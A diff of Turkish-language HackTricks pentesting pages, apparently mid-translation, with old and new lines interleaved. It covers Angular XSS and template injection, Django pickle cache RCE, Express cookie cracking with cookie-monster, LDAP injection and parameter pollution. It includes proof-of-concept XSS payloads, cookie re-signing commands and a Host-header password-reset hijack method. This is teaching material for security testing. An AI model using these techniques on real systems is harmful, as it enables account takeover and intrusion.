Angular, sayfaları dinamik olarak oluşturmak için şablonları kullanır. Bu yaklaşım, Angular'ın değerlendirmesi için şablon ifadelerini çift süslü parantezler (`{{}}`) içinde kapsayıcı hale getirmeyi içerir. Bu şekilde, çerçeve ek işlevsellik sunar. Örneğin, `{{1+1}}` gibi bir şablon 2 olarak görüntülenecektir.
Genellikle, Angular, şablon ifadeleriyle karıştırılabilecek kullanıcı girişlerini (örneğin, \`< > ' " \`\` gibi karakterler) kaçışlar. Bu, kara listeye alınmış karakterleri kullanmaktan kaçınmak için JavaScript dize nesneleri üreten işlevler gibi bu kısıtlamayı aşmak için ek adımların gerekli olduğu anlamına gelir. Ancak, bunu başarmak için Angular bağlamını, özelliklerini ve değişkenlerini dikkate almamız gerekir. Bu nedenle, bir şablon enjeksiyonu saldırısı şu şekilde görünebilir:
Genellikle, Angular, şablon ifadeleriyle karıştırılabilecek kullanıcı girişlerini (örneğin, \`< > ' " \`\` gibi karakterler) kaçırır. Bu, yasaklı karakterleri kullanmaktan kaçınmak için JavaScript dize nesneleri üreten işlevler gibi bu kısıtlamayı aşmak için ek adımların gerekli olduğu anlamına gelir. Ancak, bunu başarmak için Angular bağlamını, özelliklerini ve değişkenlerini dikkate almamız gerekir. Bu nedenle, bir şablon enjeksiyonu saldırısı şu şekilde görünebilir:
```jsx
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@ -227,11 +229,11 @@ selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})
```
Yukarıda gösterildiği gibi: `constructor`, Object `constructor` özelliğinin kapsamını ifade eder, bu da bize String constructor'ını çağırma ve rastgele kod yürütme imkanı tanır.
Yukarıda gösterildiği gibi: `constructor`, Object `constructor` özelliğinin kapsamını ifade eder ve bize String constructor'ı çağırma ve rastgele kod yürütme imkanı tanır.
#### Sunucu Tarafı Render (SSR)
CSR'dan farklı olarak, tarayıcının DOM'unda gerçekleşen, Angular Universal, şablon dosyalarının SSR'sinden sorumludur. Bu dosyalar daha sonra kullanıcıya iletilir. Bu ayrıma rağmen, Angular Universal, SSR güvenliğini artırmak için CSR'de kullanılan aynı sanitizasyon mekanizmalarını uygular. SSR'deki bir şablon enjeksiyon açığı, kullanılan şablon dilinin aynı olması nedeniyle CSR'deki gibi tespit edilebilir.
Tarayıcıdaki DOM'da gerçekleşen CSR'ın aksine, Angular Universal, şablon dosyalarının SSR'sinden sorumludur. Bu dosyalar daha sonra kullanıcıya iletilir. Bu ayrıma rağmen, Angular Universal, SSR güvenliğini artırmak için CSR'da kullanılan aynı sanitizasyon mekanizmalarını uygular. SSR'deki bir şablon enjeksiyon açığı, kullanılan şablon dilinin aynı olması nedeniyle CSR'deki gibi tespit edilebilir.
Elbette, Pug ve Handlebars gibi üçüncü taraf şablon motorları kullanıldığında yeni şablon enjeksiyon açıkları tanıtma olasılığı da vardır.
@ -292,7 +294,7 @@ document.body.appendChild(a);
```
#### Angular sınıfları
Angular'da DOM öğeleriyle çalışmak için kullanılabilecek bazı sınıflar vardır: `ElementRef`, `Renderer2`, `Location` ve `Document`. Son iki sınıfın ayrıntılııklaması **Açık yönlendirmeler** bölümünde verilmiştir. İlk iki sınıf arasındaki temel fark, `Renderer2` API'sinin DOM öğesi ile bileşen kodu arasında bir soyutlama katmanı sağlamasıdır; oysa `ElementRef` sadece öğeye bir referans tutar. Bu nedenle, Angular belgelerine göre, `ElementRef` API'si yalnızca doğrudan DOM erişimi gerektiğinde son çare olarak kullanılmalıdır.
Angular'da DOM öğeleri ile çalışmak için kullanılabilecek bazı sınıflar vardır: `ElementRef`, `Renderer2`, `Location` ve `Document`. Son iki sınıfın ayrıntılııklaması **Açık yönlendirmeler** bölümünde verilmiştir. İlk iki sınıf arasındaki temel fark, `Renderer2` API'sinin DOM öğesi ile bileşen kodu arasında bir soyutlama katmanı sağlamasıdır; oysa `ElementRef` sadece öğeye bir referans tutar. Bu nedenle, Angular belgelerine göre, `ElementRef` API'si yalnızca doğrudan DOM erişimi gerektiğinde son çare olarak kullanılmalıdır.
* `ElementRef`, DOM öğelerini manipüle etmek için kullanılabilecek `nativeElement` özelliğini içerir. Ancak, `nativeElement`'in yanlış kullanımı, aşağıda gösterildiği gibi bir XSS enjeksiyon açığına yol açabilir:
@ -371,13 +373,13 @@ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 oner
<button (click)="setProperty()">Click me!</button>
```
Araştırmalarımız sırasında, XSS ve CSS enjeksiyonları ile ilgili olarak `Renderer2`'nin `setStyle()`, `createComment()` ve `setValue()` gibi diğer yöntemlerinin davranışını da inceledik. Ancak, işlevsel sınırlamaları nedeniyle bu yöntemler için geçerli saldırı vektörleri bulamadık.
Araştırmalarımız sırasında, XSS ve CSS enjeksiyonları ile ilgili olarak `Renderer2` yöntemlerinin davranışını da inceledik; `setStyle()`, `createComment()` ve `setValue()` gibi. Ancak, işlevsel sınırlamaları nedeniyle bu yöntemler için geçerli saldırı vektörleri bulamadık.
#### jQuery
jQuery, Angular projesinde HTML DOM nesnelerini manipüle etmek için kullanılabilecek hızlı, küçük ve özellik açısından zengin bir JavaScript kütüphanesidir. Ancak, bilindiği gibi, bu kütüphanenin yöntemleri XSS açığına ulaşmak için istismar edilebilir. Bazı savunmasız jQuery yöntemlerinin Angular projelerinde nasıl istismar edilebileceğini tartışmak için bu alt bölümü ekledik.
jQuery, Angular projesinde HTML DOM nesnelerini manipüle etmek için kullanılabilecek hızlı, küçük ve özellik açısından zengin bir JavaScript kütüphanesidir. Ancak, bilindiği gibi, bu kütüphanenin yöntemleri bir XSS açığı elde etmek için istismar edilebilir. Bazı savunmasız jQuery yöntemlerinin Angular projelerinde nasıl istismar edilebileceğini tartışmak için bu alt bölümü ekledik.
* `html()` yöntemi, eşleşen öğelerin setindeki ilk öğenin HTML içeriğini alır veya her eşleşen öğenin HTML içeriğini ayarlar. Ancak, tasarım gereği, bir HTML dizesi kabul eden herhangi bir jQuery yapıcı veya yöntemi potansiyel olarak kod çalıştırabilir. Bu, `<script>` etiketlerinin enjeksiyonu veya kodu çalıştıran HTML niteliklerinin kullanılması yoluyla gerçekleşebilir.
* `html()` yöntemi, eşleşen öğelerin setindeki ilk öğenin HTML içeriğini alır veya her eşleşen öğenin HTML içeriğini ayarlar. Ancak, tasarımı gereği, bir HTML dizesi kabul eden herhangi bir jQuery yapıcı veya yöntemi potansiyel olarak kod çalıştırabilir. Bu, `<script>` etiketlerinin enjeksiyonu veya kodu çalıştıran HTML niteliklerinin kullanılmasıyla gerçekleşebilir.
```tsx
//app.component.ts
@ -410,7 +412,7 @@ $("p").html("<script>alert(1)</script>");
jQuery.parseHTML(data [, context ] [, keepScripts ])
```
Daha önce belirtildiği gibi, HTML dizeleri kabul eden çoğu jQuery API'si, HTML'de dahil edilen betikleri çalıştırır. `jQuery.parseHTML()` yöntemi, `keepScripts`ıkça `true` olmadıkça, ayrıştırılan HTML'deki betikleri çalıştırmaz. Ancak, çoğu ortamda dolaylı olarak betikleri çalıştırmak hala mümkündür; örneğin, `<img onerror>` niteliği aracılığıyla.
Daha önce belirtildiği gibi, HTML dizeleri kabul eden çoğu jQuery API'si, HTML'de yer alan betikleri çalıştıracaktır. `jQuery.parseHTML()` yöntemi, `keepScripts`ıkça `true` olmadıkça, ayrıştırılan HTML'deki betikleri çalıştırmaz. Ancak, çoğu ortamda dolaylı olarak betikleri çalıştırmak hala mümkündür; örneğin, `<img onerror>` niteliği aracılığıyla.
```tsx
//app.component.ts
@ -446,7 +448,7 @@ $palias.append(html);
#### DOM arayüzleri
W3C belgelerine göre, `window.location` ve `document.location` nesneleri modern tarayıcılarda takma adlar olarak kabul edilir. Bu nedenle, bazı yöntemlerin ve özelliklerin benzer bir uygulamasına sahip olmaları, `javascript://` şeması saldırılarıylaık yönlendirme ve DOM XSS'e neden olabilir.
W3C belgelerine göre, `window.location` ve `document.location` nesneleri modern tarayıcılarda takma adlar olarak kabul edilir. Bu nedenle, bazı yöntemlerin ve özelliklerin benzer bir uygulaması vardır; bu da aşağıda belirtilen `javascript://` şeması saldırıları ileık yönlendirme ve DOM XSS'e neden olabilir.
* `window.location.href`(ve `document.location.href`)
@ -465,7 +467,7 @@ window.location.href = "https://google.com/about"
<button type="button" (click)="goToUrl()">Click me!</button>
```
Aşağıdaki senaryolar için istismar süreci aynıdır.
İstismar süreci, aşağıdaki senaryolar için aynıdır.
* `window.location.assign()`(ve `document.location.assign()`)
Bu yöntem, pencerenin belirtilen URL'deki belgeyi yüklemesini ve görüntülemesini sağlar. Bu yöntemi kontrol edersek, açık yönlendirme saldırısı için bir hedef olabilir.
@ -483,7 +485,7 @@ window.location.assign("https://google.com/about")
Bu yöntem, mevcut kaynağı sağlanan URL'deki kaynakla değiştirir.
`assign()` yönteminden farkı, `window.location.replace()` kullandıktan sonra mevcut sayfanın oturum Geçmişi'nde kaydedilmeyecek olmasıdır. Ancak, bu yöntemi kontrol ettiğimizde açık yönlendirme açığını istismar etmek de mümkündür.
`assign()` yönteminden farkı, `window.location.replace()` kullanıldıktan sonra mevcut sayfanın oturum geçmişinde kaydedilmeyecek olmasıdır. Ancak, bu yöntemi kontrol ettiğimizde açık yönlendirme açığını istismar etmek de mümkündür.
```tsx
//app.component.ts
@ -496,7 +498,7 @@ window.location.replace("http://google.com/about")
```
* `window.open()`
`window.open()` yöntemi bir URL alır ve tanımladığı kaynağı yeni veya mevcut bir sekmeye veya pencereye yükler. Bu yöntemi kontrol etmek, bir XSS veya açık yönlendirme açığını tetiklemek için de bir fırsat olabilir.
`window.open()` yöntemi, bir URL alır ve tanımladığı kaynağı yeni veya mevcut bir sekmeye veya pencereye yükler. Bu yöntemi kontrol etmek, bir XSS veya açık yönlendirme açığını tetiklemek için de bir fırsat olabilir.
```tsx
//app.component.ts
@ -510,7 +512,7 @@ window.open("https://google.com/about", "_blank")
#### Angular sınıfları
* Angular belgelerine göre, Angular `Document`, DOM belgesi ile aynıdır; bu da, Angular'daki istemci tarafııklarını istismar etmek için DOM belgesi için yaygın vektörlerin kullanılabileceği anlamına gelir. `Document.location` özellikleri ve yöntemleri, başarılıık yönlendirme saldırıları için hedefler olabilir; aşağıdaki örnekte gösterildiği gibi:
* Angular belgelerine göre, Angular `Document`, DOM belgesi ile aynıdır; bu da, Angular'daki istemci tarafııklarını istismar etmek için DOM belgesi için ortak vektörlerin kullanılabileceği anlamına gelir. `Document.location` özellikleri ve yöntemleri, başarılıık yönlendirme saldırıları için hedefler olabilir; aşağıdaki örnekte gösterildiği gibi:
```tsx
//app.component.ts
@ -533,7 +535,7 @@ this.document.location.href = 'https://google.com/about';
//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
```
* Araştırma aşamasında, açık yönlendirme açıkları için Angular `Location` sınıfını da inceledik, ancak geçerli vektörler bulunamadı. `Location`, uygulamaların bir tarayıcının mevcut URL'siyle etkileşimde bulunmak için kullanabileceği bir Angular hizmetidir. Bu hizmet, verilen URL'yi manipüle etmek için birkaç yönteme sahiptir - `go()`, `replaceState()` ve `prepareExternalUrl()`. Ancak, bunları dış bir alan adına yönlendirmek için kullanamayız. Örneğin:
* Araştırma aşamasında, açık yönlendirme açıkları için Angular `Location` sınıfını da inceledik, ancak geçerli vektörler bulunamadı. `Location`, uygulamaların bir tarayıcının mevcut URL'si ile etkileşimde bulunmak için kullanabileceği bir Angular hizmetidir. Bu hizmet, verilen URL'yi manipüle etmek için birkaç yönteme sahiptir - `go()`, `replaceState()` ve `prepareExternalUrl()`. Ancak, bunları dış bir alan adına yönlendirmek için kullanamayız. Örneğin:
```tsx
//app.component.ts
@ -583,7 +585,7 @@ this.router.navigateByUrl('URL')
* [Angular Güvenliği: Kesin Kılavuz (Bölüm 2)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-2)
* [Angular Güvenliği: Kesin Kılavuz (Bölüm 3)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-3)
* [Angular Güvenliği: Kontrol Listesi](https://lsgeurope.com/post/angular-security-checklist)
* [Workspace ve proje dosya yapısı](https://angular.io/guide/file-structure)
* [Workspace ve proje dosyası yapısı](https://angular.io/guide/file-structure)
* [Bileşenler ve şablonlara giriş](https://angular.io/guide/architecture-components)
* [Kaynak haritası yapılandırması](https://angular.io/guide/workspace-config#source-map-configuration)
* [Binding sözdizimi](https://angular.io/guide/binding-syntax)
@ -597,7 +599,11 @@ this.router.navigateByUrl('URL')
* [Angular Renderer2](https://angular.io/api/core/Renderer2)
* [Renderer2 Örneği: Angular'da DOM Manipülasyonu - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)
* [jQuery API Belgeleri](http://api.jquery.com/)
* [Angular ile jQuery Nasıl Kullanılır (Kesinlikle Gerektiğinde)](https://blog.bitsrc.io/how-to-use-jquery-with-angular-when-you-absolutely-have-to-42c8b6a37ff9)
* [Angular Belgesi](https://angular.io/api/common/DOCUMENT)
* [Angular Konumu](https://angular.io/api/common/Location)
* [Angular Yönlendirici](https://angular.io/api/router/Router)
* [Angular ile jQuery Nasıl Kullanılır (Kesinlikle Gerekirse)](https://blog.bitsrc.io/how-to-use-jquery-with-angular-when-you-absolutely-have-to-42c8b6a37ff9)
* [Angular Document](https://angular.io/api/common/DOCUMENT)
* [Angular Location](https://angular.io/api/common/Location)
* [Angular Router](https://angular.io/api/router/Router)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,8 +1,12 @@
# Django
## Cache Manipulation to RCE
Django'nun varsayılan önbellek depolama yöntemi [Python pickles](https://docs.python.org/3/library/pickle.html) olup, [güvenilmeyen girişler unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf) olduğunda RCE'ye yol açabilir. **Eğer bir saldırgan önbelleğe yazma erişimi elde ederse, bu açığı alttaki sunucuda RCE'ye yükseltebilir**.
{{#include /banners/hacktricks-training.md}}
Django önbelleği dört yerden birinde saklanır: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [bellek](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [dosyalar](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) veya bir [veritabanı](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Redis sunucusunda veya veritabanında saklanan önbellek, en olası saldırı vektörleridir (Redis enjeksiyonu ve SQL enjeksiyonu), ancak bir saldırgan dosya tabanlı önbelleği kullanarak keyfi bir yazmayı RCE'ye dönüştürebilir. Bakımcılar bunu bir sorun olarak işaretlemiştir. Önbellek dosyası klasörünün, SQL tablo adının ve Redis sunucu detaylarının uygulamaya göre değişeceğini belirtmek önemlidir.
## Önbellek Manipülasyonu ile RCE
Django'nun varsayılan önbellek depolama yöntemi [Python pickles](https://docs.python.org/3/library/pickle.html) olup, [güvenilmeyen girişin unpickled edilmesi](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf) durumunda RCE'ye yol açabilir. **Eğer bir saldırgan önbelleğe yazma erişimi elde ederse, bu açığı temel sunucuda RCE'ye yükseltebilir**.
Bu HackerOne raporu, SQLite veritabanında saklanan Django önbelleğini istismar etmenin harika, tekrarlanabilir bir örneğini sunmaktadır: https://hackerone.com/reports/1415436
Django önbelleği dört yerden birinde saklanır: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [bellek](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [dosyalar](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) veya bir [veritabanı](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Redis sunucusunda veya veritabanında saklanan önbellek, en olası saldırı vektörleridir (Redis enjeksiyonu ve SQL enjeksiyonu), ancak bir saldırgan dosya tabanlı önbelleği kullanarak rastgele bir yazmayı RCE'ye dönüştürebilir. Bakımcılar bunu bir sorun olarak işaretlemiştir. Önbellek dosyası klasörünün, SQL tablo adının ve Redis sunucu detaylarının uygulamaya göre değişeceğini belirtmek önemlidir.
Bu HackerOne raporu, bir SQLite veritabanında saklanan Django önbelleğini istismar etme konusunda harika, tekrarlanabilir bir örnek sunmaktadır: https://hackerone.com/reports/1415436
{{#include /banners/hacktricks-training.md}}

View File

@ -1 +0,0 @@
# GWT - Google Web Toolkit

View File

@ -1,8 +1,10 @@
# NodeJS Express
{{#include /banners/hacktricks-training.md}}
## Cookie İmzası
Araç [https://github.com/DigitalInterruption/cookie-monster](https://github.com/DigitalInterruption/cookie-monster), Express.js çerez gizli anahtarlarının test edilmesi ve yeniden imzalanması için otomasyon sağlayan bir yardımcı programdır.
The tool [https://github.com/DigitalInterruption/cookie-monster](https://github.com/DigitalInterruption/cookie-monster) Express.js çerez gizli anahtarlarının test edilmesi ve yeniden imzalanması için otomatikleştirilmiş bir yardımcı programdır.
### Belirli bir adı olan tek çerez
```bash
@ -12,7 +14,7 @@ cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session
```bash
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst
```
### Birden fazla çerezi toplu modda test et
### Birden fazla çerezi toplu modda test etme
```bash
cookie-monster -b -f cookies.json
```
@ -26,4 +28,4 @@ Eğer sırrı biliyorsanız, çerezi imzalayabilirsiniz.
```bash
cookie-monster -e -f new_cookie.json -k secret
```
{{#include /banners/hacktricks-training.md}}

View File

@ -1,113 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
# [ProjectHoneypot](https://www.projecthoneypot.org/)
Bir IP'nin şüpheli/kötü niyetli faaliyetlerle ilişkili olup olmadığını sorabilirsiniz. Tamamen ücretsiz.
# [**BotScout**](http://botscout.com/api.htm)
IP adresinin hesap kaydeden bir botla ilişkili olup olmadığını kontrol edin. Kullanıcı adları ve e-postaları da kontrol edebilir. Başlangıçta ücretsiz.
# [Hunter](https://hunter.io/)
E-postaları bulun ve doğrulayın. Bazı ücretsiz API istekleri mevcut, daha fazlası için ödeme yapmanız gerekiyor. Ticari mi?
# [AlientVault](https://otx.alienvault.com/api)
IP'ler ve Alan Adları ile ilgili kötü niyetli faaliyetleri bulun. Ücretsiz.
# [Clearbit](https://dashboard.clearbit.com/)
Bir e-posta ile ilgili kişisel verileri \(diğer platformlardaki profiller\), alan adı \(temel şirket bilgileri, e-postalar ve çalışanlar\) ve şirketler \(e-postadan şirket bilgisi alın\) bulun. Tüm olanaklara erişmek için ödeme yapmanız gerekiyor. Ticari mi?
# [BuiltWith](https://builtwith.com/)
Web siteleri tarafından kullanılan teknolojiler. Pahalı... Ticari mi?
# [Fraudguard](https://fraudguard.io/)
Bir ana bilgisayarın \(alan adı veya IP\) şüpheli/kötü niyetli faaliyetlerle ilişkili olup olmadığını kontrol edin. Bazı ücretsiz API erişimi mevcut. Ticari mi?
# [FortiGuard](https://fortiguard.com/)
Bir ana bilgisayarın \(alan adı veya IP\) şüpheli/kötü niyetli faaliyetlerle ilişkili olup olmadığını kontrol edin. Bazı ücretsiz API erişimi mevcut.
# [SpamCop](https://www.spamcop.net/)
Ana bilgisayarın spam faaliyetleriyle ilişkili olup olmadığını belirtir. Bazı ücretsiz API erişimi mevcut.
# [mywot](https://www.mywot.com/)
Görüşler ve diğer metriklere dayanarak bir alan adının şüpheli/kötü niyetli bilgilerle ilişkili olup olmadığını öğrenin.
# [ipinfo](https://ipinfo.io/)
Bir IP adresinden temel bilgileri elde edin. Aylık 100K'a kadar test edebilirsiniz.
# [securitytrails](https://securitytrails.com/app/account)
Bu platform, bir IP içindeki veya bir alan adı sunucusundaki alan adları gibi alan adları ve IP adresleri hakkında bilgi verir, bir e-posta ile sahip olunan alan adlarını \(ilişkili alan adlarını bulun\), alanların IP geçmişini \(CloudFlare'ın arkasındaki ana bilgisayarı bulun\), bir nameserver kullanan tüm alan adlarını... Bazı ücretsiz erişiminiz var.
# [fullcontact](https://www.fullcontact.com/)
E-posta, alan adı veya şirket adı ile arama yapmanıza ve ilgili "kişisel" bilgileri almanıza olanak tanır. E-postaları da doğrulayabilir. Bazı ücretsiz erişim mevcut.
# [RiskIQ](https://www.spiderfoot.net/documentation/)
Alan adları ve IP'ler hakkında çok fazla bilgi, hatta ücretsiz/topluluk sürümünde bile.
# [\_IntelligenceX](https://intelx.io/)
Alan adları, IP'ler ve e-postalar arayın ve dökümlerden bilgi alın. Bazı ücretsiz erişim mevcut.
# [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/)
IP ile arama yapın ve şüpheli faaliyetlerle ilgili bilgileri toplayın. Bazı ücretsiz erişim mevcut.
# [Greynoise](https://viz.greynoise.io/)
IP veya IP aralığı ile arama yapın ve İnterneti tarayan IP'ler hakkında bilgi alın. 15 gün ücretsiz erişim.
# [Shodan](https://www.shodan.io/)
Bir IP adresinin tarama bilgilerini alın. Bazı ücretsiz API erişimi mevcut.
# [Censys](https://censys.io/)
Shodan'a çok benzer.
# [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)
Anahtar kelime ile arama yaparak açık S3 bucket'ları bulun.
# [Dehashed](https://www.dehashed.com/data)
Sızdırılmış e-posta ve hatta alan adlarının kimlik bilgilerini bulun. Ticari mi?
# [psbdmp](https://psbdmp.ws/)
Bir e-postanın göründüğü pastebin'leri arayın. Ticari mi?
# [emailrep.io](https://emailrep.io/key)
Bir e-postanın itibarını alın. Ticari mi?
# [ghostproject](https://ghostproject.fr/)
Sızdırılmış e-postalardan şifreleri alın. Ticari mi?
# [Binaryedge](https://www.binaryedge.io/)
IP'lerden ilginç bilgiler elde edin.
# [haveibeenpwned](https://haveibeenpwned.com/)
Alan adı ve e-posta ile arama yapın ve pwned olup olmadığını ve şifreleri alın. Ticari mi?
[https://dnsdumpster.com/](https://dnsdumpster.com/)\(ticari bir araçta mı?\)
[https://www.netcraft.com/](https://www.netcraft.com/) \(ticari bir araçta mı?\)
[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(ticari bir araçta mı?\)
{{#include ./banners/hacktricks-training.md}}

View File

@ -1,41 +0,0 @@
# Diğer Web Hileleri
{{#include ./banners/hacktricks-training.md}}
### Host başlığı
Birçok kez arka uç, bazı işlemleri gerçekleştirmek için **Host başlığına** güvenir. Örneğin, bu değeri **şifre sıfırlama için kullanılacak alan adı** olarak kullanabilir. Yani, şifrenizi sıfırlamak için bir bağlantı içeren bir e-posta aldığınızda, kullanılan alan adı Host başlığında belirttiğiniz alandır. Ardından, diğer kullanıcıların şifre sıfırlama taleplerini yapabilir ve alan adını kontrolünüzde olan bir alan adıyla değiştirerek şifre sıfırlama kodlarını çalabilirsiniz. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
> [!WARNING]
> Kullanıcının şifre sıfırlama bağlantısına tıklamasını beklemenize gerek kalmayabileceğini unutmayın, çünkü belki de **spam filtreleri veya diğer ara cihazlar/botlar bunu analiz etmek için tıklayabilir**.
### Oturum boolean'ları
Bazen bazı doğrulamaları doğru bir şekilde tamamladığınızda, arka uç **oturumunuza bir güvenlik niteliğine "True" değeriyle bir boolean ekler**. Ardından, farklı bir uç nokta bu kontrolü başarıyla geçip geçmediğinizi bilecektir.\
Ancak, eğer **kontrolü geçerseniz** ve oturumunuza güvenlik niteliğinde "True" değeri verilirse, **aynı niteliğe bağlı olan diğer kaynaklara erişmeyi** deneyebilirsiniz, ancak **erişim izniniz olmamalıdır**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
### Kayıt işlevselliği
Zaten mevcut bir kullanıcı olarak kaydolmayı deneyin. Eşdeğer karakterler (nokta, çok sayıda boşluk ve Unicode) kullanmayı da deneyin.
### E-postaları ele geçirme
Bir e-posta kaydedin, onaylamadan önce e-postayı değiştirin, ardından yeni onay e-postası ilk kaydedilen e-postaya gönderilirse, herhangi bir e-postayı ele geçirebilirsiniz. Ya da ikinci e-postayı birincisini onaylayacak şekilde etkinleştirebilirseniz, herhangi bir hesabı da ele geçirebilirsiniz.
### Atlassian kullanan şirketlerin İç Servis Masasına Erişim
{{#ref}}
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
{{#endref}}
### TRACE yöntemi
Geliştiriciler, üretim ortamında çeşitli hata ayıklama seçeneklerini devre dışı bırakmayı unutabilir. Örneğin, HTTP `TRACE` yöntemi tanısal amaçlar için tasarlanmıştır. Etkinleştirildiğinde, web sunucusu `TRACE` yöntemini kullanan isteklere, alınan tam isteği yanıt olarak yansıtarak yanıt verir. Bu davranış genellikle zararsızdır, ancak bazen ters proxyler tarafından isteklere eklenebilecek dahili kimlik doğrulama başlıklarının adları gibi bilgi ifşasına yol açabilir.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png)
{{#include ./banners/hacktricks-training.md}}
### Same-Site Scripting
Belirli DNS yanlış yapılandırmaları nedeniyle localhost veya 127.0.0.1'e çözümleyen bir alan adı veya alt alan adıyla karşılaştığımızda meydana gelir. Bu, bir saldırganın RFC2109 (HTTP Durum Yönetimi Mekanizması) aynı köken kısıtlamalarını aşmasına ve dolayısıyla durum yönetimi verilerini ele geçirmesine olanak tanır. Ayrıca, çapraz site betikleme (cross-site scripting) olasılığını da artırabilir. Daha fazla bilgi için [buradan](https://seclists.org/bugtraq/2008/Jan/270) okuyabilirsiniz.

View File

@ -1,9 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
**DNS'e yönelik saldırılar hakkında daha fazla araştırma yapın**
**DNSSEC ve DNSSEC3**
**IPv6'daki DNS**
{{#include ./banners/hacktricks-training.md}}

View File

@ -1,7 +1,5 @@
# LDAP Injection
## LDAP Injection
{{#include ../banners/hacktricks-training.md}}
## LDAP Injection
@ -14,7 +12,7 @@
../network-services-pentesting/pentesting-ldap.md
{{#endref}}
**LDAP Injection**, kullanıcı girdisinden LDAP ifadeleri oluşturan web uygulamalarını hedef alan bir saldırıdır. Uygulama, girişi **doğru bir şekilde temizlemediğinde** meydana gelir ve bu durum saldırganların **LDAP ifadelerini manipüle etmesine** olanak tanır; bu da yetkisiz erişim veya veri manipülasyonuna yol açabilir.
**LDAP Injection** kullanıcı girdisinden LDAP ifadeleri oluşturan web uygulamalarını hedef alan bir saldırıdır. Uygulama, girişi **doğru bir şekilde temizlemediğinde** meydana gelir ve bu durum saldırganların **LDAP ifadelerini manipüle etmesine** olanak tanır, bu da yetkisiz erişim veya veri manipülasyonuna yol açabilir.
{{#file}}
EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
@ -150,7 +148,7 @@ Ascii harfleri, rakamlar ve semboller üzerinde döngü yapabilirsiniz:
#### **Geçerli LDAP alanlarını keşfet**
LDAP nesneleri **varsayılan olarak birkaç öznitelik içerir** ve bu öznitelikler **bilgi saklamak için kullanılabilir.** Bu bilgiyi çıkarmak için **hepsini brute-force ile denemeyi** deneyebilirsiniz. [**Varsayılan LDAP özniteliklerinin bir listesini buradan bulabilirsiniz**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
LDAP nesneleri **varsayılan olarak birkaç öznitelik içerir** ve bu öznitelikler **bilgi saklamak için kullanılabilir.** Bu bilgiyi çıkarmak için **hepsini brute-force ile denemeyi** deneyebilirsiniz. [**Varsayılan LDAP özniteliklerinin bir listesini burada bulabilirsiniz**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
```python
#!/usr/bin/python3
import requests

View File

@ -1,10 +1,7 @@
# Parameter Pollution | JSON Injection
## Parameter Pollution
{{#include ../banners/hacktricks-training.md}}
## HTTP Parameter Pollution (HPP) Genel Bakış
HTTP Parameter Pollution (HPP), saldırganların HTTP parametrelerini manipüle ederek bir web uygulamasının davranışını beklenmedik şekillerde değiştirdiği bir tekniktir. Bu manipülasyon, HTTP parametrelerini ekleyerek, değiştirerek veya çoğaltarak yapılır. Bu manipülasyonların etkisi kullanıcıya doğrudan görünmez, ancak uygulamanın sunucu tarafındaki işlevselliğini önemli ölçüde değiştirebilir ve istemci tarafında gözlemlenebilir etkiler yaratabilir.
@ -19,7 +16,7 @@ Ek bir `from` parametresi ekleyerek:
- **Manipüle Edilmiş URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
İşlem, `accountA` yerine yanlışlıkla `accountC`'ye yansıtılabilir; bu da HPP'nin işlemleri veya şifre sıfırlama, 2FA ayarları veya API anahtarı talepleri gibi diğer işlevleri manipüle etme potansiyelini göstermektedir.
İşlem, `accountA` yerine yanlışlıkla `accountC`'ye tahsil edilebilir ve bu durum HPP'nin işlemleri veya şifre sıfırlama, 2FA ayarları veya API anahtarı talepleri gibi diğer işlevleri manipüle etme potansiyelini göstermektedir.
#### **Teknolojiye Özgü Parametre Ayrıştırma**
@ -34,22 +31,22 @@ Ek bir `from` parametresi ekleyerek:
- **Yöntem:** Burp Suite gibi araçlar kullanarak OTP talebini kesen saldırganlar, HTTP isteğindeki `email` parametresini çoğalttı.
